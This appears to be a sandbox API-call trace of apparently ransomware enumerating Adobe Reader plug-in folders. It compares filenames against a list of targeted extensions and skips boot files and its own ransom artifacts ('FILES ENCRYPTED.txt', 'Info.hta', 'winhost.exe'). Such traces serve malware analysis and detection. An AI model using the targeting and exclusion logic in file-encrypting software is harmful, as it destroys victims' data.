lstrlenW (lpString=".md") returned 3 [0270.260] lstrcmpiW (lpString1=".md", lpString2="pdf") returned -1 [0270.260] lstrlenW (lpString=".mda") returned 4 [0270.260] lstrcmpiW (lpString1=".mda", lpString2=".pdf") returned -1 [0270.261] lstrlenW (lpString=".mdb") returned 4 [0270.261] lstrcmpiW (lpString1=".mdb", lpString2=".pdf") returned -1 [0270.261] lstrlenW (lpString=".mde") returned 4 [0270.261] lstrcmpiW (lpString1=".mde", lpString2=".pdf") returned -1 [0270.261] lstrlenW (lpString=".mdf") returned 4 [0270.261] lstrcmpiW (lpString1=".mdf", lpString2=".pdf") returned -1 [0270.261] lstrlenW (lpString=".mdw") returned 4 [0270.261] lstrcmpiW (lpString1=".mdw", lpString2=".pdf") returned -1 [0270.261] lstrlenW (lpString=".mef") returned 4 [0270.261] lstrcmpiW (lpString1=".mef", lpString2=".pdf") returned -1 [0270.261] lstrlenW (lpString=".mft") returned 4 [0270.261] lstrcmpiW (lpString1=".mft", lpString2=".pdf") returned -1 [0270.262] lstrlenW (lpString=".mfw") returned 4 [0270.262] lstrcmpiW (lpString1=".mfw", lpString2=".pdf") returned -1 [0270.262] lstrlenW (lpString=".mht") returned 4 [0270.262] lstrcmpiW (lpString1=".mht", lpString2=".pdf") returned -1 [0270.262] lstrlenW (lpString=".mhtml") returned 6 [0270.262] lstrcmpiW (lpString1=".mhtml", lpString2="ic.pdf") returned -1 [0270.262] lstrlenW (lpString=".mka") returned 4 [0270.262] lstrcmpiW (lpString1=".mka", lpString2=".pdf") returned -1 [0270.262] lstrlenW (lpString=".mkidx") returned 6 [0270.262] lstrcmpiW (lpString1=".mkidx", lpString2="ic.pdf") returned -1 [0270.262] lstrlenW (lpString=".mkv") returned 4 [0270.262] lstrcmpiW (lpString1=".mkv", lpString2=".pdf") returned -1 [0270.262] lstrlenW (lpString=".mos") returned 4 [0270.262] lstrcmpiW (lpString1=".mos", lpString2=".pdf") returned -1 [0270.262] lstrlenW (lpString=".mov") returned 4 [0270.263] lstrcmpiW (lpString1=".mov", lpString2=".pdf") returned -1 [0270.263] lstrlenW (lpString=".mp3") returned 4 [0270.263] lstrcmpiW (lpString1=".mp3", lpString2=".pdf") returned -1 [0270.263] lstrlenW (lpString=".mp4") returned 4 [0270.263] lstrcmpiW (lpString1=".mp4", lpString2=".pdf") returned -1 [0270.263] lstrlenW (lpString=".mpeg") returned 5 [0270.263] lstrcmpiW (lpString1=".mpeg", lpString2="c.pdf") returned -1 [0270.263] lstrlenW (lpString=".mpg") returned 4 [0270.263] lstrcmpiW (lpString1=".mpg", lpString2=".pdf") returned -1 [0270.263] lstrlenW (lpString=".mpv") returned 4 [0270.263] lstrcmpiW (lpString1=".mpv", lpString2=".pdf") returned -1 [0270.263] lstrlenW (lpString=".mrw") returned 4 [0270.263] lstrcmpiW (lpString1=".mrw", lpString2=".pdf") returned -1 [0270.263] lstrlenW (lpString=".msg") returned 4 [0270.263] lstrcmpiW (lpString1=".msg", lpString2=".pdf") returned -1 [0270.264] lstrlenW (lpString=".mxl") returned 4 [0270.264] lstrcmpiW (lpString1=".mxl", lpString2=".pdf") returned -1 [0270.264] lstrlenW (lpString=".myd") returned 4 [0270.264] lstrcmpiW (lpString1=".myd", lpString2=".pdf") returned -1 [0270.264] lstrlenW (lpString=".myi") returned 4 [0270.264] lstrcmpiW (lpString1=".myi", lpString2=".pdf") returned -1 [0270.264] lstrlenW (lpString=".nef") returned 4 [0270.265] lstrcmpiW (lpString1=".nef", lpString2=".pdf") returned -1 [0270.265] lstrlenW (lpString=".nrw") returned 4 [0270.265] lstrcmpiW (lpString1=".nrw", lpString2=".pdf") returned -1 [0270.265] lstrlenW (lpString=".obj") returned 4 [0270.265] lstrcmpiW (lpString1=".obj", lpString2=".pdf") returned -1 [0270.265] lstrlenW (lpString=".odb") returned 4 [0270.265] lstrcmpiW (lpString1=".odb", lpString2=".pdf") returned -1 [0270.265] lstrlenW (lpString=".odc") returned 4 [0270.265] lstrcmpiW (lpString1=".odc", lpString2=".pdf") returned -1 [0270.265] lstrlenW (lpString=".odm") returned 4 [0270.265] lstrcmpiW (lpString1=".odm", lpString2=".pdf") returned -1 [0270.265] lstrlenW (lpString=".odp") returned 4 [0270.265] lstrcmpiW (lpString1=".odp", lpString2=".pdf") returned -1 [0270.265] lstrlenW (lpString=".ods") returned 4 [0270.266] lstrcmpiW (lpString1=".ods", lpString2=".pdf") returned -1 [0270.266] lstrlenW (lpString=".oft") returned 4 [0270.266] lstrcmpiW (lpString1=".oft", lpString2=".pdf") returned -1 [0270.266] lstrlenW (lpString=".one") returned 4 [0270.266] lstrcmpiW (lpString1=".one", lpString2=".pdf") returned -1 [0270.266] lstrlenW (lpString=".onepkg") returned 7 [0270.266] lstrcmpiW (lpString1=".onepkg", lpString2="mic.pdf") returned -1 [0270.266] lstrlenW (lpString=".onetoc2") returned 8 [0270.266] lstrcmpiW (lpString1=".onetoc2", lpString2="amic.pdf") returned -1 [0270.266] lstrlenW (lpString=".opt") returned 4 [0270.266] lstrcmpiW (lpString1=".opt", lpString2=".pdf") returned -1 [0270.266] lstrlenW (lpString=".oqy") returned 4 [0270.266] lstrcmpiW (lpString1=".oqy", lpString2=".pdf") returned -1 [0270.267] lstrlenW (lpString=".orf") returned 4 [0270.267] lstrcmpiW (lpString1=".orf", lpString2=".pdf") returned -1 [0270.267] lstrlenW (lpString=".p12") returned 4 [0270.267] lstrcmpiW (lpString1=".p12", lpString2=".pdf") returned -1 [0270.267] lstrlenW (lpString=".p7b") returned 4 [0270.267] lstrcmpiW (lpString1=".p7b", lpString2=".pdf") returned -1 [0270.267] lstrlenW (lpString=".p7c") returned 4 [0270.267] lstrcmpiW (lpString1=".p7c", lpString2=".pdf") returned -1 [0270.267] lstrlenW (lpString=".pam") returned 4 [0270.267] lstrcmpiW (lpString1=".pam", lpString2=".pdf") returned -1 [0270.267] lstrlenW (lpString=".pbm") returned 4 [0270.267] lstrcmpiW (lpString1=".pbm", lpString2=".pdf") returned -1 [0270.267] lstrlenW (lpString=".pct") returned 4 [0270.267] lstrcmpiW (lpString1=".pct", lpString2=".pdf") returned -1 [0270.267] lstrlenW (lpString=".pcx") returned 4 [0270.267] lstrcmpiW (lpString1=".pcx", lpString2=".pdf") returned -1 [0270.267] lstrlenW (lpString=".pdd") returned 4 [0270.267] lstrcmpiW (lpString1=".pdd", lpString2=".pdf") returned -1 [0270.268] lstrlenW (lpString=".pdf") returned 4 [0270.268] lstrcmpiW (lpString1=".pdf", lpString2=".pdf") returned 0 [0270.268] lstrlenW (lpString="Dynamic.pdf") returned 11 [0270.268] lstrlenW (lpString=".WHY") returned 4 [0270.268] lstrcmpiW (lpString1=".WHY", lpString2=".pdf") returned 1 [0270.268] lstrlenW (lpString="Dynamic.pdf") returned 11 [0270.268] lstrcmpiW (lpString1="boot.ini", lpString2="Dynamic.pdf") returned -1 [0270.268] lstrcmpiW (lpString1="bootfont.bin", lpString2="Dynamic.pdf") returned -1 [0270.268] lstrcmpiW (lpString1="ntldr", lpString2="Dynamic.pdf") returned 1 [0270.268] lstrcmpiW (lpString1="ntdetect.com", lpString2="Dynamic.pdf") returned 1 [0270.268] lstrcmpiW (lpString1="io.sys", lpString2="Dynamic.pdf") returned 1 [0270.268] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="Dynamic.pdf") returned 1 [0270.268] lstrcmpiW (lpString1="Info.hta", lpString2="Dynamic.pdf") returned 1 [0270.268] lstrcmpiW (lpString1="winhost.exe", lpString2="Dynamic.pdf") returned 1 [0270.269] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\Dynamic.pdf") returned 91 [0270.269] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0270.269] lstrlenW (lpString="Faces.pdf") returned 9 [0270.269] lstrlenW (lpString=".1cd") returned 4 [0270.269] lstrcmpiW (lpString1=".1cd", lpString2=".pdf") returned -1 [0270.269] lstrlenW (lpString=".3ds") returned 4 [0270.269] lstrcmpiW (lpString1=".3ds", lpString2=".pdf") returned -1 [0270.269] lstrlenW (lpString=".3fr") returned 4 [0270.269] lstrcmpiW (lpString1=".3fr", lpString2=".pdf") returned -1 [0270.269] lstrlenW (lpString=".3g2") returned 4 [0270.270] lstrcmpiW (lpString1=".3g2", lpString2=".pdf") returned -1 [0270.270] lstrlenW (lpString=".3gp") returned 4 [0270.270] lstrcmpiW (lpString1=".3gp", lpString2=".pdf") returned -1 [0270.270] lstrlenW (lpString=".7z") returned 3 [0270.270] lstrcmpiW (lpString1=".7z", lpString2="pdf") returned -1 [0270.270] lstrlenW (lpString=".accda") returned 6 [0270.270] lstrcmpiW (lpString1=".accda", lpString2="es.pdf") returned -1 [0270.270] lstrlenW (lpString=".accdb") returned 6 [0270.270] lstrcmpiW (lpString1=".accdb", lpString2="es.pdf") returned -1 [0270.270] lstrlenW (lpString=".accdc") returned 6 [0270.270] lstrcmpiW (lpString1=".accdc", lpString2="es.pdf") returned -1 [0270.270] lstrlenW (lpString=".accde") returned 6 [0270.270] lstrcmpiW (lpString1=".accde", lpString2="es.pdf") returned -1 [0270.270] lstrlenW (lpString=".accdt") returned 6 [0270.270] lstrcmpiW (lpString1=".accdt", lpString2="es.pdf") returned -1 [0270.270] lstrlenW (lpString=".accdw") returned 6 [0270.270] lstrcmpiW (lpString1=".accdw", lpString2="es.pdf") returned -1 [0270.271] lstrlenW (lpString=".adb") returned 4 [0270.271] lstrcmpiW (lpString1=".adb", lpString2=".pdf") returned -1 [0270.271] lstrlenW (lpString=".adp") returned 4 [0270.271] lstrcmpiW (lpString1=".adp", lpString2=".pdf") returned -1 [0270.271] lstrlenW (lpString=".ai") returned 3 [0270.271] lstrcmpiW (lpString1=".ai", lpString2="pdf") returned -1 [0270.271] lstrlenW (lpString=".ai3") returned 4 [0270.271] lstrcmpiW (lpString1=".ai3", lpString2=".pdf") returned -1 [0270.271] lstrlenW (lpString=".ai4") returned 4 [0270.271] lstrcmpiW (lpString1=".ai4", lpString2=".pdf") returned -1 [0270.271] lstrlenW (lpString=".ai5") returned 4 [0270.271] lstrcmpiW (lpString1=".ai5", lpString2=".pdf") returned -1 [0270.271] lstrlenW (lpString=".ai6") returned 4 [0270.271] lstrcmpiW (lpString1=".ai6", lpString2=".pdf") returned -1 [0270.271] lstrlenW (lpString=".ai7") returned 4 [0270.271] lstrcmpiW (lpString1=".ai7", lpString2=".pdf") returned -1 [0270.271] lstrlenW (lpString=".ai8") returned 4 [0270.272] lstrcmpiW (lpString1=".ai8", lpString2=".pdf") returned -1 [0270.272] lstrlenW (lpString=".anim") returned 5 [0270.272] lstrcmpiW (lpString1=".anim", lpString2="s.pdf") returned -1 [0270.272] lstrlenW (lpString=".arw") returned 4 [0270.272] lstrcmpiW (lpString1=".arw", lpString2=".pdf") returned -1 [0270.272] lstrlenW (lpString=".as") returned 3 [0270.272] lstrcmpiW (lpString1=".as", lpString2="pdf") returned -1 [0270.272] lstrlenW (lpString=".asa") returned 4 [0270.272] lstrcmpiW (lpString1=".asa", lpString2=".pdf") returned -1 [0270.272] lstrlenW (lpString=".asc") returned 4 [0270.272] lstrcmpiW (lpString1=".asc", lpString2=".pdf") returned -1 [0270.272] lstrlenW (lpString=".ascx") returned 5 [0270.273] lstrcmpiW (lpString1=".ascx", lpString2="s.pdf") returned -1 [0270.273] lstrlenW (lpString=".asm") returned 4 [0270.273] lstrcmpiW (lpString1=".asm", lpString2=".pdf") returned -1 [0270.273] lstrlenW (lpString=".asmx") returned 5 [0270.273] lstrcmpiW (lpString1=".asmx", lpString2="s.pdf") returned -1 [0270.273] lstrlenW (lpString=".asp") returned 4 [0270.273] lstrcmpiW (lpString1=".asp", lpString2=".pdf") returned -1 [0270.273] lstrlenW (lpString=".aspx") returned 5 [0270.273] lstrcmpiW (lpString1=".aspx", lpString2="s.pdf") returned -1 [0270.273] lstrlenW (lpString=".asr") returned 4 [0270.273] lstrcmpiW (lpString1=".asr", lpString2=".pdf") returned -1 [0270.273] lstrlenW (lpString=".asx") returned 4 [0270.273] lstrcmpiW (lpString1=".asx", lpString2=".pdf") returned -1 [0270.274] lstrlenW (lpString=".avi") returned 4 [0270.274] lstrcmpiW (lpString1=".avi", lpString2=".pdf") returned -1 [0270.274] lstrlenW (lpString=".avs") returned 4 [0270.274] lstrcmpiW (lpString1=".avs", lpString2=".pdf") returned -1 [0270.274] lstrlenW (lpString=".backup") returned 7 [0270.274] lstrcmpiW (lpString1=".backup", lpString2="ces.pdf") returned -1 [0270.274] lstrlenW (lpString=".bak") returned 4 [0270.274] FindClose (in: hFindFile=0x624540 | out: hFindFile=0x624540) returned 1 [0270.277] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x439e000 | out: hHeap=0x590000) returned 1 [0270.277] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUO", cAlternateFileName="")) returned 1 [0270.277] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO") returned 79 [0270.278] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\*", lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624540 [0271.700] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.700] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0271.700] lstrlenW (lpString="Dynamic.pdf") returned 11 [0271.700] lstrlenW (lpString=".1cd") returned 4 [0271.701] FindClose (in: hFindFile=0x624540 | out: hFindFile=0x624540) returned 1 [0271.701] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x439e000 | out: hHeap=0x590000) returned 1 [0271.701] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SVE", cAlternateFileName="")) returned 1 [0271.701] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE") returned 79 [0271.701] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\*", lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624540 [0271.702] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.702] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0271.702] lstrlenW (lpString="Dynamic.pdf") returned 11 [0271.702] lstrlenW (lpString=".1cd") returned 4 [0271.703] FindClose (in: hFindFile=0x624540 | out: hFindFile=0x624540) returned 1 [0271.703] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x439e000 | out: hHeap=0x590000) returned 1 [0271.703] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TUR", cAlternateFileName="")) returned 1 [0271.703] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR") returned 79 [0271.703] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\*", lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624540 [0271.706] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.706] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0271.706] lstrlenW (lpString="Dynamic.pdf") returned 11 [0271.706] lstrlenW (lpString=".1cd") returned 4 [0271.707] FindClose (in: hFindFile=0x624540 | out: hFindFile=0x624540) returned 1 [0271.709] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x439e000 | out: hHeap=0x590000) returned 1 [0271.709] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 1 [0271.710] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR") returned 79 [0271.710] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\*", lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624540 [0271.782] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80600540, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806266a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.782] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x37ae920 | out: lpFindFileData=0x37ae920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18b15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0271.782] lstrlenW (lpString="Dynamic.pdf") returned 11 [0271.783] lstrlenW (lpString=".1cd") returned 4 [0271.783] FindClose (in: hFindFile=0x624540 | out: hFindFile=0x624540) returned 1 [0271.783] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x439e000 | out: hHeap=0x590000) returned 1 [0271.784] FindNextFileW (in: hFindFile=0x624480, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Words.pdf", cAlternateFileName="")) returned 1 [0271.784] lstrlenW (lpString="Words.pdf") returned 9 [0271.784] lstrlenW (lpString=".1cd") returned 4 [0271.784] FindClose (in: hFindFile=0x624480 | out: hFindFile=0x624480) returned 1 [0271.785] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x438dff8 | out: hHeap=0x590000) returned 1 [0271.785] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 0 [0271.785] FindClose (in: hFindFile=0x624640 | out: hFindFile=0x624640) returned 1 [0271.785] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42c3fa8 | out: hHeap=0x590000) returned 1 [0271.785] FindNextFileW (in: hFindFile=0x624440, lpFindFileData=0x37af094 | out: lpFindFileData=0x37af094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5dbe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.api", cAlternateFileName="")) returned 1 [0271.786] lstrlenW (lpString="Annots.api") returned 10 [0271.786] lstrlenW (lpString=".1cd") returned 4 [0271.787] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\*", lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x624400 [0271.848] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.848] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, 